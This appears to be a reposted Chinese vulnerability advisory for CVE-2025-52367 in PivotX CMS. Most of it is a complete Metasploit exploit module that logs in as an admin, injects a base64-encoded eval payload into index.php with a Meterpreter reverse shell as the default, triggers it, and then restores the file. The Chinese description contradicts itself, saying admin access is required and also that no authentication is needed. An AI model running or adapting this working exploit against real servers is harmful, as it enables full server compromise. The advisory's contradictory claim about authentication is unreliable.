PivotX Remote Code Execution Vulnerability

漏洞信息

漏洞名称: PivotX Remote Code Execution Vulnerability

漏洞编号:

  • CVE: CVE-2025-52367

漏洞类型: 命令执行

漏洞等级: 高危

漏洞描述: PivotX是一个内容管理系统(CMS),主要用于博客和网站的创建与管理。它提供了一个用户友好的界面,允许管理员轻松地发布内容和修改网站设置。PivotX广泛应用于个人博客和小型企业网站中。该漏洞存在于PivotX的管理系统中,允许管理员用户直接编辑服务器上的文件,包括PHP文件。攻击者可以利用这一功能,通过写入恶意负载到index.php文件中,实现远程代码执行。这种漏洞的技术根源在于系统未能对管理员的操作进行充分的验证和限制,导致攻击者可以执行任意代码。此漏洞的安全风险非常高,因为它允许攻击者在无需认证的情况下远程执行代码,可能导致服务器被完全控制,数据泄露,或服务中断。由于攻击者可以利用此漏洞自动执行恶意代码,因此它构成了严重的威胁。

产品厂商: PivotX

产品名称: PivotX

影响版本: version <= 3.0.0-rc3

来源: https://github.com/rapid7/metasploit-framework/blob/75f6e6a74837b5b79469afaee93d5f8294603e14/modules%2Fexploits%2Flinux%2Fhttp%2Fpivotx_rce.rb

类型: rapid7/metasploit-framework:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html

include Exploit::Remote::Tcp
include Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'PivotX Remote Code Execution',
'Description' => %q{
This module gains remote code execution in PivotX management system. The PivotX allows admin user to directly edit files on the webserver, including PHP files. The module exploits this by writing a malicious payload into `index.php` file, gaining remote code execution.
},
'License' => MSF_LICENSE,
'Author' => [
'HayToN', # security research
'msutovsky-r7' # module dev
],
'References' => [
[ 'EDB', '52361' ],
[ 'URL', 'https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3'],
[ 'CVE', '2025-52367']
],
'Targets' => [
[
'Linux',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
}
]
],
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
'DisclosureDate' => '2025-07-10',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('USERNAME', [ true, 'PivotX username', '' ]),
OptString.new('PASSWORD', [true, 'PivotX password', '']),
OptString.new('TARGETURI', [true, 'The base path to PivotX', '/PivotX/'])
])
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'index.php')
})

return Exploit::CheckCode::Unknown, 'Unexpected response' unless res&.code == 200

return Exploit::CheckCode::Safe, 'Target is not PivotX' unless res.body.include?('PivotX Powered')

html_body = res.get_html_document

return Exploit::CheckCode::Unknown, 'Could not find version element' unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }

version = Rex::Version.new(Regexp.last_match(1))

return Exploit::CheckCode::Appears, "Detected PivotX #{version}" if version <= Rex::Version.new('3.0.0-rc3')

return Exploit::CheckCode::Safe, "PivotX #{version} is not vulnerable"
end

def login
boundary = Rex::Text.rand_text_alphanumeric(16).to_s
data_post = "------WebKitFormBoundary#{boundary}\r\n"

data_post << "Content-Disposition: form-data; name=\"returnto\"\r\n\r\n"
data_post << "\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"

data_post << "Content-Disposition: form-data; name=\"template\"\r\n\r\n"
data_post << "\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"

data_post << "Content-Disposition: form-data; name=\"username\"\r\n\r\n"
data_post << "#{datastore['USERNAME']}\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"

data_post << "Content-Disposition: form-data; name=\"password\"\r\n\r\n"
data_post << "#{datastore['PASSWORD']}\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'index.php'),
'vars_get' => { 'page' => 'login' },
'ctype' => "multipart/form-data; boundary=----WebKitFormBoundary#{boundary}",
'data' => data_post,
'keep_cookies' => true
})

fail_with Failure::NoAccess, 'Login failed, probably incorrect credentials' unless res&.code == 200 && res.body.include?('Dashboard') && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/

@csrf_token = Regexp.last_match(1)
end

def modify_file
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'index.php'),
'vars_get' => { 'page' => 'homeexplore' }
})

fail_with Failure::UnexpectedReply, 'Received unexpected response when fetching working directory' unless res&.code == 200 && res.body =~ /basedir=([a-zA-Z0-9]+)/

@base_dir = Regexp.last_match(1)

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'ajaxhelper.php'),
'vars_get' => { 'function' => 'view', 'basedir' => @base_dir, 'file' => 'index.php' }
})

fail_with Failure::UnexpectedReply, 'Received unexpected response when fetching index.php' unless res&.code == 200

@original_value = res.get_html_document.at('textarea')&.text

fail_with Failure::Unknown, 'Could not find content of index.php' unless @original_value

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'ajaxhelper.php'),
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => "<?php eval(base64_decode('#{Base64.strict_encode64(payload.encoded)}')); ?> #{@original_value}" }
})

fail_with Failure::PayloadFailed, 'Failed to insert malicious PHP payload' unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
end

def trigger_payload
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')
})
end

def restore
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'ajaxhelper.php'),
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => @original_value }
})
vprint_status('Restoring original content')
vprint_error('Failed to restore original content') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
end

def exploit
vprint_status('Logging in PivotX')
login
vprint_status('Modifying file and injecting payload')
modify_file
vprint_status('Triggering payload')
trigger_payload
restore
end
end



PivotX Remote Code Execution Vulnerability
http://example.com/2025/07/24/github_2328639475/
作者
lianccc
发布于
2025年7月24日
许可协议